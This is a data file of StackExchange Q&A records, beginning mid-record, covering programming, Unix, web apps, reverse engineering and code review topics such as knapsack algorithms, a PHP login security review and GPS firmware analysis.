self.index[self.items[ind][0]] == self.items[ind][0]:                        if self.index[i - self.items[ind][0]] != None and self.index[i] == None:                            value = self.index[i - self.items[ind][0]] + self.items[ind][1]                            to_be_added.add((i, value))                        elif self.index[i - self.items[ind][0]] != None and self.index[i] != None:                            if self.index[i] < self.index[i - self.items[ind][0]] + self.items[ind][1]:                                to_be_added.add((i,self.index[i - self.items[ind][0]] + self.items[ind][1]))            #print to_be_added            for i in to_be_added:                self.index[i[0]] = i[1]            to_be_added = set()            ind += 1        print self.index[self.details[1]]def main():    t = Thieves((5, 5), [[3, 5], [7, 100], [1, 1], [1, 1], [2, 3]])    t.valuable()    z = Thieves((12, 5), [[3, 5], [7, 100], [1, 1], [1, 1], [2, 3], [3, 10], [2, 11], [1, 4], [1, 7], [5, 20], [1, 10], [2, 15]])    z.valuable()    k = Thieves((4, 10), [[6, 30], [3, 14], [4, 16], [2, 9]])    k.valuable()"  , "title": "Solution to the 0-1 knapsack"  , "tags": "python;performance;programming challenge"  , "accepted_answer": "Your code is very hard to follow. Your variable names tell very little about what they are supposed to be, and there are mysterious things, like why details is a 2-tuple, when only the second value in it is used. The very long lines make it hard to follow as well. It is also not obvious to figure out which of the values in every item is the weight and which the value.So while I am not really sure of what that code is doing, you only need to keep the full 2D array in memory if you want to backtrack over it to find out which items you should take with you. If you are only interested in knowing how much value can fit in the knapsack, you only need to have two rows of the array in memory. And that can be implemented much, much more compactly than what you have come up with:def knapsack_01(capacity, items):    # items is sequence of (weight, value) tuples    prev_row = [0] * (capacity + 1)    for weight, value in items:        this_row = prev_row[:weight]        for idx in range(weight, capacity+1):            this_row.append(max(prev_row[idx], prev_row[idx-weight] + value))        prev_row = this_row    return prev_row[-1]if __name__ == '__main__':    items1 = [[3, 5], [7, 100], [1, 1], [1, 1], [2, 3]]    items2 = [[3, 5], [7, 100], [1, 1], [1, 1], [2, 3], [3, 10], [2, 11],              [1, 4], [1, 7], [5, 20], [1, 10], [2, 15]]    items3 = [[6, 30], [3, 14], [4, 16], [2, 9]]    assert knapsack_01(5, items1) == 8    assert knapsack_01(5, items2) == 36    assert knapsack_01(10, items3) == 46Note that the tests, which all pass, run your test samples against the values returned by your code. So both this and your implementation agree, which is a good thing."  } 
{  "id": "_webapps.56723"  , "question": "As I write this, I'm in EST (GMT - 5), and I'm trying to add an event for a couple of months from now when I will be in EDT (GMT - 4).  Say the event is at 12:00 noon.  When I add the event, it adds at noon, but this is incorrect because after the time change, the event will move an hour earlier on the calendar.I'm adding like this (and even specifying EDT):But the event is created like this:I could remember this trap and mentally correct for it, but what I really want is to be able to specify a time like 3/20/2014 at 12:00 in Eastern time, and have the app determine that this actually means EDT and NOT EST, and place the event correctly.That might be asking a bit too much, but what's the closest I can get to this without writing a custom app?"  , "title": "How can I specify daylight timezome status when adding an event?"  , "tags": "google calendar"  } 
{  "id": "_cs.67203"  , "question": "BackgroundI have a setup where I need to make an API call to a partner to initiate a financial transaction. I have multiple partners, and I need to choose which one to use each time a transaction needs to happen. The characteristics differentiating two partners are: if the transaction is accepted or not (acceptance)the cost of the transaction (fee charged by the partner, assumed to be constant over time)the speed of the transaction (assumed to be constant over timefor each partner)The characteristics of a transaction are especially:amountcurrency(several other factors such as the user's country, the payment method he chose, etc)Additional info: the acceptance rate of a partner is subject to   change arbitrarily over time..AlgorithmAs you probably guessed, I am currently thinking about solutions and algorithms that could be used to solve the following problem.Inputs:a transaction (with all its characteristics)the database of all transactions having ever happened, containing for each transaction    the partner usedthe fee chargedif the transaction was accepted or notOutput: the best partner to use to execute the transaction.Obviously, the first step is to define best. Do we value speed more than cost? Do we value the expected acceptance rate more than both the cost and speed? etc.Another important aspect I mentioned earlier is that the acceptance of the same transaction by the same partner might change over time. This means that the algorithm should sometimes try a partner that is believed not to be currently the best just to be able to, for instance, check if a partner's acceptance rate has improved over time.My questionI'm obviously not asking someone to write a magic algorithm solving that. I have a background of CS, but I am unsure about what algorithms and types of algorithms are usually used to solve this kind of problem. I would be grateful to be given some extra terminology (e.g. if this is a typical problem with a particular name in the domain) and resources to be able to dig into the problem.Please don't hesitate to ask if something is unclear.Thank you![Edit] After searching a bit more on the web, it seems that this problem has a lot in common with the multi-armed bandit problem. However I believe that the algorithms presented to solve this problem (e.g. UCB1) could be suboptimal in this context, because they wouldn't take into account the characteristics of a transaction and act as if the partner didn't take them into account."  , "title": "A decision algorithm to choose what partner to use"  , "tags": "algorithms;data mining"  } 
{  "id": "_codereview.79078"  , "question": "There are 3 search fields, and at least one must be filled out. When the search button is clicked the search fields are checked, if none are filled in show the error window with the error message for this error. If at least one field is filled in get a code based on the search criteria. If the code was not successfully retrieved show same error window but with the error message for this error.The code I have works fine for this except that it looks verbose and I am repeated the code in the else statements except for the unique error messages. How can this be improved?private void searchButton_Click(object sender, RoutedEventArgs e){    searchCriteria.Clear();    searchCriteria.Add(townSearchTextbox.Text);    searchCriteria.Add(countySearchTextbox.Text);    searchCriteria.Add(postcodeSearchTextbox.Text);    if (isValidSearchCriteria(searchCriteria))    {        formatSearchCriteria(searchCriteria);        set.updateWOEID(searchCriteria);        if (set.WOEID.Length > 0)        {            // continue        }        else        {            // display any errors in the error window            Error errorWindow = new Error();            errorWindow.Show();            errorWindow.errorMessage.Text = Error: Could not retrieve WOEID, please try again.;        }    }    else    {        // display any errors in the error window        Error errorWindow = new Error();        errorWindow.Show();        errorWindow.errorMessage.Text = Error: Please provide one or more search criteria.;    }}"  , "title": "Checking search buttons on click"  , "tags": "c#"  , "accepted_answer": "Create a method:private void DisplayError(String errorMessage) {    // display any errors in the error window    Error errorWindow = new Error();    errorWindow.Show();    errorWindow.errorMessage.Text = errorMessage;}Then you can doprivate void searchButton_Click(object sender, RoutedEventArgs e){    searchCriteria.Clear();    searchCriteria.Add(townSearchTextbox.Text);    searchCriteria.Add(countySearchTextbox.Text);    searchCriteria.Add(postcodeSearchTextbox.Text);    if (isValidSearchCriteria(searchCriteria))    {        formatSearchCriteria(searchCriteria);        set.updateWOEID(searchCriteria);        if (set.WOEID.Length > 0)        {            // continue        }        else        {            DisplayError(Error: Could not retrieve WOEID, please try again.);        }    }    else    {        DisplayError(Error: Please provide one or more search criteria.);    }}Of course, the next step if you need it would be to use Exceptions instead.  Yes, I know this is for Java, but it shows why."  } 
{  "id": "_cs.57841"  , "question": "After researching concurrency I am unable to discern if it is either of these specifically or it encapsulates both?I was also wondering if someone could provide some programming applications/real world examples I am struggling to grasp the concepts entirely and it feels like every where I look people have different understandings.Just two re-define the two concepts I believe it to be:Order independent: There is 3 Tasks A, B and C they need to be completed for the application to finalize, and are able to be completed in any order.Interruptible: Tasks are able to be halted mid processing in order to complete part of one of the other tasks.Point 2 I am most uncertain about how is this advantageous for a serial application? I am guessing it would be to do with user input/bypassing locks or waits caused by requiring further information so other tasks can be completed.NOTE: I am trying to apply these in a context outside of parallelism."  , "title": "Concurrency: Is it order-independability or interruptibility of tasks?"  , "tags": "concurrency"  , "accepted_answer": "Concurrency is working with tasks that may run simultaneously.  In my experience, when this term is used, the main focus is on correctness: making sure a system works as intended.One way of doing that is to impose additional constraints on the system and ensure that they are always met.  Order independence and interruptability are examples of two such constraints.  You may want them to hold for your concurrent system.   But they are not required properties of concurrent systems in general: for many concurrent systems, they do not hold and do not need to hold.  For instance, in MySQL, you can configure to what extent you want your transactions to be isolated, with full serializability (order independence) as the highest level."  } 
{  "id": "_unix.200237"  , "question": "I can't get less --quit-if-one-screen (-F) working without --no-init (-X).less --quit-if-one-screen  /proc/uptimeI see no output.This works:less --quit-if-one-screen  --no-init /proc/uptimeWhat I am doing wrong?"  , "title": "pager less: --quit-if-one-screen without --no-init"  , "tags": "terminal;less;ncurses"  } 
{  "id": "_webapps.95437"  , "question": "Subscribing to a blog is possible via RSS and/or Atom. But when I search for it on Google, the results show how to do this for the author. I mean how can an author of a blog provide a facility to allow subscribing via email?I want to receive new posts by email."  , "title": "How to subscribe to a blog on Blogspot via email?"  , "tags": "blogger"  } 
{  "id": "_webapps.17276"  , "question": "I want to allow friends of friends to see my wall posts. However there is a certain friend who I have that I want to block access to for his friends. I want to block his friends without blocking him. Is this possible?"  , "title": "How to allow access to friends of friends except for a certain friend"  , "tags": "facebook"  } 
{  "id": "_reverseengineering.15744"  , "question": "I have this pseudo code:v5 = serial[6] + serial[0] - serial[7] - serial[2];LOBYTE(v5) = serial[1];v8 = serial[3] + v5 - serial[4];if ( v8 != serial[5] )    goto FAIL;The variable serial[] is an array representing the bytes of the key abcdefgh. Dor example, serial[0] = 0x61. If we assume that serial[5] is 0x66 (the letter 'f'), how can I calculate the needed key to get a 0x66 in v8 as you can see some calculations are done to decide the possible values of v8."  , "title": "Generating a key for a simple algorithm"  , "tags": "cryptography;math"  } 
{  "id": "_unix.350823"  , "question": "What is the correct way to install Linux (LMDE2 in my case) to a new drive (SSD) and correctly copy over /home files?Partition Scheme on both harddrives was the same:- /dev/sda1 linux-swap- /dev/sda2 /- /dev/sda3 /homeI think I went about it the wrong way. I used nemo to simply copy the contents of my /home/andrew folder to two external harddrives(for redundancy). I then installed the new LMDE2 on a new 250gb SSD. I then moved the /home/andrew folder from the external harddrive to my new OS and deleted the /home/andrew that the  installer had created. This created all sorts of problems because of file permisions. I tried to change file permisions with sudo chown -R andrew:andrew /home/andrewwhich sort of worked, but I still had problems. For example, I couldn't open gedit from terminal for example. sudo geditSome error to do with .Xauthority in my /home/andrew folder. I then tried this approach. I booted into a live usb and:sudo rsync -aXS --progress /media/mint/250GbStorage/andrew  /media/mint/(long uuid)/homeThen I ran the installer again mounting/dev/sda2 as / /dev/sda3 as /homeThe installer simply created a default /home/andrew folder and all my files just appeared in /home/home/andrew. Deleting /home/andrew and renaming /home/home/andrew to /home/andrew just creates the same problem as before. My final approach was to install the OS then simply copy my documents, desktop, music etc individually from /home/home/andrew to home/andrew using nemo and everything works just fine. (I didn't copy the configuration files. Is my mistake that I did not correctly back up my home files?If I did mess up by incorrectly backing up my home files, how do I recover from this? I have already deleted my original partion?I have tried searching for this in many permutations in google but can't find a solution which I understand. There are lots of people who say that you should have your files in a separate /home partition but no definitive guide which explains an easy way to install a new operating system on a new drive and how to migrate your files. Thanks"  , "title": "New LMDE2 install and correctly move /home partition"  , "tags": "linux;linux mint;system installation;home"  } 
{  "id": "_unix.148613"  , "question": "Ok so I am student, about to get my degree in computer science. I have been programming for couple of years now on my Macbook pro on OS X and I havent had any problems. On the other hand, everyone around is telling me to install linux OS because its better, developers use it, programmers use it, etc. But no one told me why is linux better than OS X? What's the big deal about having programming and developing on Linux?"  , "title": "Why should I get linux?"  , "tags": "linux;ubuntu;osx"  } 
{  "id": "_codereview.71119"  , "question": "I'm currently studying C and I'm trying to just print the contents of a string array. I'm using pNames to point to the first char pointer and iterating from there.A more proper approach would use this pointer, get a char* each time and use printf(%s, pNames[i]) to print a whole string. However, I thought I would try to print it character-by-character inside each string, as follows: #include <stdio.h>int main(int argc, char *argv[]){char *names[] = {    John, Mona,    Lisa, Frank};char **pNames = names;char *pArr;int i = 0;while(i < 4) {    pArr = pNames[i];    while(*pArr != '\\0') {        printf(%c\\n, *(pArr++));    }    printf(\\n);    i++;}return 0;} This code kind of works (prints each letter and then new line). How would you make it better?"  , "title": "Printing the contents of a string array using pointers"  , "tags": "c;array;pointers"  , "accepted_answer": "Given that the code is really simple, I see mostly coding style issues with it.Instead of this:char *names[] = {    John, Mona,    Lisa, Frank};I would prefer either of these writing styles:char *names[] = { John, Mona, Lisa, Frank };// orchar *names[] = {    John,    Mona,    Lisa,    Frank};The pNames variable is pointless. You could just use names.Instead of the while loop, a for loop would be more natural.This maybe a matter of taste,but I don't think the Hungarian notation like *pArr is great.And in any case you are using this pointer to step over character by character,so Arr is hardly a good name.I'd for go for pos instead. Or even just p.You should declare variables in the smallest scope where they are used.For example *pos would be best declared inside the for loop.In C99 and above, the loop variable can be declared directly in the for statement.The last return statement is unnecessary.The compiler will insert it automatically and make the main method return with 0 (= success).Putting it together:int main(int argc, char *argv[]){    char *names[] = { John, Mona, Lisa, Frank };    for (int i = 0; i < 4; ++i) {        char *pos = names[i];        while (*pos != '\\0') {            printf(%c\\n, *(pos++));        }        printf(\\n);    }} Actually it would be more interesting to use argc and argv for something:int main(int argc, char *argv[]){    for (int i = 1; i < argc; ++i) {        char *pos = argv[i];        while (*pos != '\\0') {            printf(%c\\n, *(pos++));        }        printf(\\n);    }} "  } 
{  "id": "_webmaster.99793"  , "question": "Given the following code:<section id=about-us>    <div class=Employee>        <h2>Lorem</h2>    </div>    <div class=Employee>        <h2>Lorem</h2>    </div></section><section id=contact>    <form>        <input>    </form></section>With the following navigation<nav>    <ul>        <li><a href=/about-us>About us</a></li>        <li><a href=/contact>Contact</a></li>    </ul></nav>If a user would click on a link I would catch that with JavaScript and scroll to the corresponding section, but would Google understand my logic and index the pages /about-us and /contact as two separate pages? Or would I be better off to structure the navigation as:<nav>    <ul>        <li><a href=#about-us>About us</a></li>        <li><a href=#contact>Contact</a></li>    </ul></nav>"  , "title": "Google bot and navigation on a one page website"  , "tags": "google;googlebot;navigation"  } 
{  "id": "_unix.353933"  , "question": "When tmux's mouse support is enabled (via set -g mouse on), clicking in a window pane will trigger tmux's copy mode, which is not what you always need.  To select the text as you'd usually do in rxvt-unicode, one can temporarily disable mouse reporting by holding down the shift key before clicking using the left mouse button.  After upgrading to Ubuntu 16.04, which has rxvt-unicode v9.21 and tmux v2.1, it seems like disabling mouse reporting is broken.  Even after pressing down the shift key, mouse events are being sent to tmux and tmux's copy mode and a conventional rxvt-unicode selection are both triggered simultaneously (in response, the selection flickers a bit). I tried several things (including patching rxvt-unicode using this patch), but I'm not able to get the expected behavior.  I believe this problem is rxvt-unicode centric since other terminal emulators (xterm, xfce4-terminal, gnome-terminal, etc.) work as expected.  Is there a way to get around this issue in rxvt-unicode?EDIT On further investigation, I found that this is no longer an issue with the rxvt-unicode package(v9.22) shipped with Ubuntu 16.10.  So this was either fixed betweenversions 9.21 and 9.22 or there is some problem with the version in Ubuntu 16.04."  , "title": "Selecting text in rxvt-unicode and tmux with mouse reporting disabled"  , "tags": "terminal;tmux;mouse;rxvt"  } 
{  "id": "_webapps.88035"  , "question": "I'm considering the migration of my entire project planning (and life planning) from e-kalender.de to Google Keep.I have about 5000 entries there, sometimes consisting of a few pages of text, but no images, audios or similar. Apart from that, these entries are organized in about a dozen groups (similar to Keep's Labels).Does anyone have a similar amount of data in Google Keep, and does it work / sync flawlessly and across devices (iPhone, iPad, Web version)?"  , "title": "How scalable is Google Keep?"  , "tags": "google keep"  } 
{  "id": "_unix.118333"  , "question": "I have a file in the format as follows:$ cat file.txt27.33.65.227.33.65.258.161.137.7121.50.198.5184.173.187.1184.173.187.1184.173.187.1What's the best way to parse the file file.txt into a format like:27.33.65.2: 258.161.137.7: 1121.50.198.5: 1184.173.187.1: 3In other words, I want to loop through the file and count the number of times each IP address appears. I've already run it through sort so all the IP addresses are in order and directly after each other."  , "title": "Counting number of times each IP address appears in log file"  , "tags": "awk;sort"  , "accepted_answer": "You're looking for uniq -cIf the output of that is not to your liking, it can be parsed and reformatted readily.For example:$ uniq -c logfile.txt | awk '{print $2: $1}'27.33.65.2: 258.161.137.7: 1121.50.198.5: 1184.173.187.1: 3"  } 
{  "id": "_softwareengineering.35639"  , "question": "Just out of curiosity, I started wondering whether a language which doesn't allow comments would yield more readable code as you would have be forced to write self-commenting code.Then again, you could write just as bad code as before because you just don't care. But what's your opinion?"  , "title": "Would a language which doesn't allow comments yield more readable code?"  , "tags": "comments"  } 
{  "id": "_reverseengineering.6867"  , "question": "I'm in the process of trying to reverse engineer a GPS-watch firmware image in purpose of adding a new feature to the watch. Here's what I got so farI have the firmware image (.gcd file). AFAIK it's no common image, I couldn't find any information about it from googlingHere's the binwalk output:DECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------344446        0x5417E         Zlib compressed data, default compression548342        0x85DF6         Zlib compressed data, default compression548698        0x85F5A         Zlib compressed data, default compression548849        0x85FF1         Zlib compressed data, compressed549789        0x8639D         Zlib compressed data, compressed550677        0x86715         Zlib compressed data, compressed550878        0x867DE         Zlib compressed data, default compression551849        0x86BA9         Zlib compressed data, default compression551871        0x86BBF         Zlib compressed data, best compression552002        0x86C42         Zlib compressed data, default compression552145        0x86CD1         Zlib compressed data, compressed552274        0x86D52         Zlib compressed data, default compression552425        0x86DE9         Zlib compressed data, compressed552778        0x86F4A         Zlib compressed data, default compression553056        0x87060         Zlib compressed data, default compression553199        0x870EF         Zlib compressed data, compressed554875        0x8777B         Zlib compressed data, compressed555202        0x878C2         Zlib compressed data, default compression555341        0x8794D         Zlib compressed data, compressed555600        0x87A50         Zlib compressed data, default compression555778        0x87B02         Zlib compressed data, default compression555928        0x87B98         Zlib compressed data, default compression556221        0x87CBD         Zlib compressed data, compressed556502        0x87DD6         Zlib compressed data, default compression556612        0x87E44         Zlib compressed data, default compression556953        0x87F99         Zlib compressed data, compressed559176        0x88848         Zlib compressed data, default compression559922        0x88B32         Zlib compressed data, default compression560116        0x88BF4         Zlib compressed data, default compression560292        0x88CA4         Zlib compressed data, default compression560417        0x88D21         Zlib compressed data, compressed560774        0x88E86         Zlib compressed data, default compression561567        0x8919F         Zlib compressed data, default compression562207        0x8941F         Zlib compressed data, best compression670601        0xA3B89         Zlib compressed data, best compression673859        0xA4843         Zlib compressed data, compressed678389        0xA59F5         Zlib compressed data, default compression797326        0xC2A8E         Zlib compressed data, default compression811248        0xC60F0         Zlib compressed data, compressed850955        0xCFC0B         Zlib compressed data, best compression1023917       0xF9FAD         Zlib compressed data, best compression1079306       0x10780A        Zlib compressed data, default compression1278786       0x138342        Zlib compressed data, default compression1278986       0x13840A        Zlib compressed data, default compression1279066       0x13845A        Zlib compressed data, default compression1279106       0x138482        Zlib compressed data, default compression1279186       0x1384D2        Zlib compressed data, default compression1279226       0x1384FA        Zlib compressed data, default compression1281321       0x138D29        Copyright string:  2002-2009n1284386       0x139922        XML document, version: 1.01294150       0x13BF46        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 754974720 bytes1294166       0x13BF56        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes1294182       0x13BF66        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes1294206       0x13BF7E        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes1294222       0x13BF8E        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes1370193       0x14E851        Zlib compressed data, default compressionIt all seems like a false positive because when I run binwalk -e I get these files as output:All files without file suffixes are empty and the zip files give an error. ( I can't unzip the zlib files)From hexdump output I see quite a lot of ascii which I guess indicates it's not encrypted. Especially I've found that there seems to be some sort of language files between 0x10780A and 0x138342I've included the hexdump as hex2.outAll the files can be found hereMy question is: Where do I go from here? Please help, I've no idea."  , "title": "Trying to reverse GPS Watch firmware image with binwalk"  , "tags": "firmware;embedded"  , "accepted_answer": "The Garmin GCD file format is documented here, with some additional information here and here.Furthermore, it looks like somebody already wrote a tool (mirrored here) for handling and manipulating Garmin GCD files:"  } 
{  "id": "_unix.34526"  , "question": "I have a recent problem with my sound configuration. Basically, it's way too loud until I set the volume below 10%. And then it's very quickly too silent. Using the alsa mixer, I can set the headphone volume and PCM volume to about 50% and then obtain a reasonable range on the master. But any application using pulse will reset all the non-master channels to max and kill my ears instantly.Is there a way to force pulse to NOT change the other channels? I tried to look for information, and it seems that I need to change the channels from mixin to ignore in the configuration file, but there are so many configuration files, and I haven't found which ones are actually used by my system. So in the end, I am not even sure that what I think is correct.Can someone tell me: how to find the exact configuration files I need to change, or how to override the global configuration with some local one? and what I need to actually change?Thanks."  , "title": "How to change mixing of channels by pulse audio / alsa"  , "tags": "debian;configuration;alsa;pulseaudio"  , "accepted_answer": "So in the end, I figured out that my profile was called analog-output-headphones. And the relevant configuration file is there:/usr/share/pulseaudio/alsa-mixer/paths/analog-output-headphones.confFor some reason, the configuration of my alsa card is such that the master volume doesn't do anything and I haven't found how to change that. But I can ignore the master and only act on the headphones ... This is not ideal, but currently works."  } 
{  "id": "_webmaster.107986"  , "question": "I've a news website included in Google News. I've used to use hEntry schema to give my news articles the structured data of articles.Now I want to remove my structured data tags/attributes and rely on the meta tags only.For example, instead of the structured data for date:<time class=entry-date published updated datetime=2017-07-20T04:40:19+00:00></time>I want to rely on this meta tag:<meta property=article:published_time content=2017-07-20T04:40:19+00:00 />Are they the same for Google bot?"  , "title": "Can meta tags replace structured data for Google News articles?"  , "tags": "meta tags;structured data;google news"  } 
{  "id": "_codereview.48146"  , "question": "When it come to security I try to be to better as possible but I don't have the knowledge.According to what I read on-line my following code should be good but I could use some of your comment/critic/fixesHere is a simple class just to example how I would do a login.  Does it look secure enough?class UserClass{private $dbCon = null;public $Error = '';public function __construct(PDO $dbCon){    $this->dbCon = $dbCon;}public function login($Email,$Password,$RegisterCustomerSession = FALSE){    $GetSalt = $this->dbCon->prepare('SELECT id,salt,hashPass FROM `customer` WHERE `email` = :Email');    $GetSalt -> bindValue(':Email',$Email);    $GetSalt -> execute();    if($GetSalt -> rowCount() == 0)    {        $this->Error = No customer is registered with that email;        return false;    }    elseif($GetSalt->rowCount()>0)    {        $CustomerInfo = $GetSalt->fetch(PDO::FETCH_ASSOC);        if(sha1($Password.$CustomerInfo['salt'])==$CustomerInfo['hashPass'])        {            if($RegisterCustomerSession)                self::RegisterAllCustomerSession($CustomerInfo['id']);            return true;        }        else        {            $this->Error = Invalid Password;            return false;        }    }}public function SetPassword($CustomerId,$Password){    $Salt = self::CreateSalt(16);    $HashPass = sha1($Password.$Salt);    $SetPasswordAndSalt = $this->dbCon->prepare('UPDATE `customer` SET `hashPass` = :HashPass,`salt` = :Salt WHERE `id` = :CustomerId;');    $SetPasswordAndSalt -> bindValue(':CustomerId',$CustomerId);    $SetPasswordAndSalt -> bindValue(':Salt',$Salt);    $SetPasswordAndSalt -> bindValue(':HashPass',$HashPass);    try{        $SetPasswordAndSalt ->execute();        return true;    }catch(PDOException $e){echo $e->getMessage(); return false; }}private function CreateSalt($HowLong = 16){    $CharStr = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-=+_<>';    $ReturnStr = '';    for($i = 0;$i<$HowLong;$i++)    {        $ReturnStr .= $CharStr{mt_rand(0,77)};    }    return $ReturnStr;}private function RegisterAllCustomerSession($CustomerId){    // some code.}}"  , "title": "Is this user login secure?"  , "tags": "php;mysql;security"  , "accepted_answer": "I'm not sufficiently familiar with PDO to say more on your database access than that you don't seem to have any injection vulnerabilities. However, there are a few things which I would do differently.Salt entropyThere are two things which strike me as odd about your salt generation. Firstly, using a base-77 encoding. If you configure your database correctly then you can use the full 8 bits of each byte of salt. That's more efficient, avoids possible bugs with generating a number in the wrong range (how sure are you that strlen($CharStr) === 78?), and is closer to the assumptions made when analysing salted hashing.Secondly, while mt_rand is better than rand it's not a cryptographic PRNG. The best portable secure PRNG in PHP is openssl_random_pseudo_bytes; if you're not planning to deploy to Windows then you could also get good entropy from /dev/random.HashSHA is not generally recommended as a hash for passwords. The current conventional wisdom is that you want password hashing to be slow, and should use either bcrypt or scrypt. If you insist on SHA then you should use it as a component of PBKDF2.Account existence oracleThere are two schools of thought on telling people That username doesn't exist. The usability argument is that it's preferable to tell someone that they got their username wrong. The security argument is that you should always say Either your username doesn't exist or you got your password wrong to prevent people identifying accounts which do exist and then trying to brute-force their passwords. (Anti-brute-forcing techniques is a separate issue which I'm not going to address in detail).If you favour the security argument over the usability argument then you need to avoid telling people indirectly that the username doesn't exist. That means that if $GetSalt -> rowCount() === 0 you should still do a hashing operation to avoid a quicker page load which leaks information.Minor style pointsif($GetSalt -> rowCount() == 0)    ...elseif($GetSalt->rowCount()>0)I see three things wrong here:What other possibilities are there? Shouldn't that elseif just be an else?Why == instead of ===?Pick a style for use of whitespace and stick with it."  } 
{  "id": "_webapps.27828"  , "question": "I am a student at Smith College trying to make a Google Docs presentation visible to anyone in the world with a link.However, the options that surface when I click Share only let me share within Smith College. This document is also shared with some other students at Smith College.Why can't I share this presentation with the rest of the world?In fact, I can't even publish it on the web to everyone."  , "title": "Why can't I share my Google Docs presentation outside of my college network?"  , "tags": "google drive;google apps"  , "accepted_answer": "It's because you don't have permissions to do so. The administrator of the Google Apps account has disabled this ability. There is a setting in the admin that scopes out the permissions and share abilities. They've selected the option that restricts other users from being able to see or edit the document unless they are within the organisation, in this case, the school.Users cannot share documents outside this organization In order to be able to share from Google Docs, you will need to have the administrator's account change the settings permission to allow you to do so."  } 
{  "id": "_codereview.58420"  , "question": "I have a statistics query I'm trying to run against the below table:CREATE TABLE *****.RUN_D (   WHSE_CODE CHAR(12 BYTE), RUN_NUM NUMBER(*,0), SHEET_NUM NUMBER(*,0), SHEET_SEQ NUMBER(*,0), COUNT_DATE DATE, COUNTED CHAR(1 BYTE), ITEM_NUM CHAR(30 BYTE), BIN_CODE CHAR(10 BYTE), STOCK_UOM CHAR(10 BYTE), ON_HAND NUMBER(12,3), SNAP_COST NUMBER(15,5), COUNTED_OH NUMBER(12,3), COUNTER_NAME CHAR(20 BYTE), USER_CODE CHAR(30 BYTE), COUNT_VARIANCE CHAR(1 BYTE), ORG_CODE CHAR(2 BYTE), DIV_CODE CHAR(8 BYTE), LOT_CODE CHAR(20 BYTE), UPDATED CHAR(1 BYTE))I have the following query which works correctly but EXPLAIN PLAN is telling me that it requires a double table scan, which I'm trying to avoid.Query:SELECT   tot.run_num, tot.whse_code, TRUNC(tot.count_date) AS Count_Date,  CAST((vary.Variance_Count / COUNT(tot.item_num) * 100) AS DECIMAL(10,2)) AS Percentage_Count_Variance,    CAST((vary.Variance_Cost / SUM(tot.snap_cost * tot.on_hand) * 100) AS DECIMAL(10,2)) AS Variance_Percentage,    CAST(vary.Variance_Cost AS DECIMAL(10,2)) AS Total_Value_VarianceFROM run_d totJOIN (SELECT run_num, COUNT(item_num) AS Variance_Count, SUM(snap_cost * (counted_oh - on_hand)) AS Variance_Cost FROM run_d  WHERE counted_oh - on_hand != 0 GROUP BY run_num) vary ON tot.run_num = vary.run_num WHERE TRUNC(tot.count_date) BETWEEN TO_DATE('07/01/2014','MM/DD/YYYY') AND TO_DATE('07/21/2014','MM/DD/YYYY')GROUP BY tot.run_num, tot.whse_code, vary.Variance_Count, vary.Variance_Cost,   TRUNC(tot.count_date)ORDER BY tot.whse_code, tot.run_numIs there a more efficient way that I can write this query, most specifically to avoid the double table scan?"  , "title": "Trying to avoid a double full scan with aggregates in query"  , "tags": "sql;oracle"  , "accepted_answer": "No, I cannot see a better way. The group-by constraints are different for the selects, so there is no way to merge them in to one.The remainder of your code looks good, except I am concerned about your % calculations.... are they accurate?(vary.Variance_Count / COUNT(tot.item_num) * 100) AS DECIMAL(10,2)That looks like it will be integer arithmetic all the way through, I would instead write it as:(100.0 * vary.Variance_Count / COUNT(tot.item_num)) AS DECIMAL(10,2)"  } 
{  "id": "_webapps.89363"  , "question": "Whenever I type something resembling a URL (for example asp.net) at twitter.com, it automatically converts it into a real link. Is there a way to 'escape' this conversion if I want it to remain plain text?"  , "title": "How to NOT create a link in a tweet"  , "tags": "twitter"  , "accepted_answer": "The only practical way I've found is to munge the URL in some way. Enclosing in single-quotes, double-quotes, parentheses, brackets, braces, backticks, etc., has no effect.The classic way is to escape the dot character: asp[dot]net.Adding a couple of extra spaces around the dot would also do the trick: asp . net.If you can manage to insert a zero-length character (such as U+200B) in the string, that should do the trick as well. (Alt+08203 seems to work on Windows.)The only other way I can see to make this happen is to use a third-party Twitter client. Then again, the API may convert the URL-like strings to URLs on the server side anyway."  } 
{  "id": "_unix.235737"  , "question": "AUR is said the largest repository out there but sometimes, when trying to build and install, and also to build and install dependencies, the outcome is not always a success. What a medium user can do at that point?Normally (that is, for a ubuntu user) , the idea is to build and install from source. That is temerary enough endeavour for me - but how can I try to fix what the automated Pamac/pacman could not?"  , "title": "AUR package cannot be built and installed - what to do?"  , "tags": "arch linux;compiling;pacman;manjaro;aur"  , "accepted_answer": "The AUR is an unsupported repository: the quality of the PKGBUILDS varies from the very good through to the abominably bad or outright negligent.You should always read the PKGBUILD before attempting to install anything and look at the comments on the package page to satisfy yourself that there won't be any unforseen surprises when running makepkg.You should also not get in the habit of relying on an AUR helper to automate the build process for you and thereby blur the distinction between the officially supported repositories and the AUR.If a particular PKGBUILD does not build successfully, the first step is to try and build it manually: makepkg will provide meaningful error messages that should provide sufficient information to identify the issue.Arch Linux is not like Ubuntu: users are expected to be able to read PKGBUILDs (basic bash scripts, essentially) and the man page for makepkg and understand the build process sufficiently to responsibly maintain their installations.If the fault lies with the PKGBUILD, leave a comment to that effect on the package's AUR page to alert the maintainer and anyone else who may want to install the same package. If the  issue goes unaddressed, you can always ask to have the package orphaned, then adopt it and fix the PKGBUILD so that it works as expected.There are guidelines for maintaining packages on the Arch Wiki."  } 
